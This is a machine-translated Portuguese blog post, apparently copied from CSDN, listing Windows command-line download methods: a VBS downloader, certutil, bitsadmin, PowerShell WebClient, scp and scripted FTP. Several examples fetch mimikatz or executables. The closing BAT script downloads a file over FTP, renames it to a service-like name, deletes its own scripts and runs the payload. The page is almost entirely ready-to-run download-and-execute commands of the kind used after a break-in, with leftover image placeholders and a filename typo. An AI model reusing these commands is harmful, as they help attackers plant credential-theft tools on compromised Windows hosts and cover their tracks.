Vários métodos de download de arquivos no ambiente de linha de comando do Windows

Vbs

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","https://raw.githubusercontent.com/shanfenglan/mimikatz/master/mimikatz.sln",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vb
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "C:\2.exe",2 >>download.vbs

Comando de execução de script vbs:
wscript download.vbs

Insira a descrição da imagem aqui


certutil

certutil.exe -urlcache -split -f http://ip/test/1.exe c:/1.exe


Comandos SCP

scp é uma cópia de arquivo segura, login baseado em ssh

Suponha que você deseja copiar um arquivo denominado a.tar.tz no computador local / home para / home / tmp no servidor remoto 192.168.0.2. E o nome da sua conta no servidor remoto é root. Você pode usar este comando:
scp /home/a.tar.tz [email protected]:/home/tmp/

Se você copiar arquivos de uma máquina remota para o diretório atual da máquina, use este comando:
scp [email protected]: /home/a.tar.tz

Copie os arquivos em todo o diretório da máquina remota
scp -r [email protected]:/home/* ./

Copie todo o diretório da máquina remota para a pasta especificada da máquina local
scp -r [email protected]:/root/123 C:\Users\Admin\Desktop\csdn_increase_vister-master


bitsadmin

bitsadmin /rawreturn /transfer getfile https://raw.githubusercontent.com/shanfenglan/mimikatz/master/mimikatz.sln C:\323.txt

Insira a descrição da imagem aqui


PowerShell

powershell (Invoke-WebRequest -Uri "https://github.com/HoldOnToYourHeart/nc/raw/cafb11118be48803396d472ca85c3e7c099b4891/calc.exe" -OutFile "C:\Users\31030\Desktop\tools\test\calc2.exe")
powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe','C:\Users\31030\Desktop\tools\test\calc.exe')

FTP

echo open 192.168.124.136>>1.txt
echo user administrator 1234>>1.txt
echo get 1.exe>>1.txt
echo bye>>1.txt
echo exit>>1.txt

ftp -i -n -s:"1.txt"

BAT baixa e executa o programa via FTP

@echo off
echo open %1%>>ftptmp.bat
echo user %2%>>ftptmp.bat
echo %3%>>ftptmp.bat
echo cd %4%>>ftptmp.bat
echo get %5%>>ftptmp.bat
echo bye>>ftptmp.bat
ftp -i -n -s:ftptmp.bat
rename %5% svcmorne.exe
del *.bat
svcmorne.exe
exit

main.bat 192.168.124.136 administrator 1234 c:/ 1.exe

Acho que você gosta

Origin blog.csdn.net/qq_41874930/article/details/108125169
Recomendado
Clasificación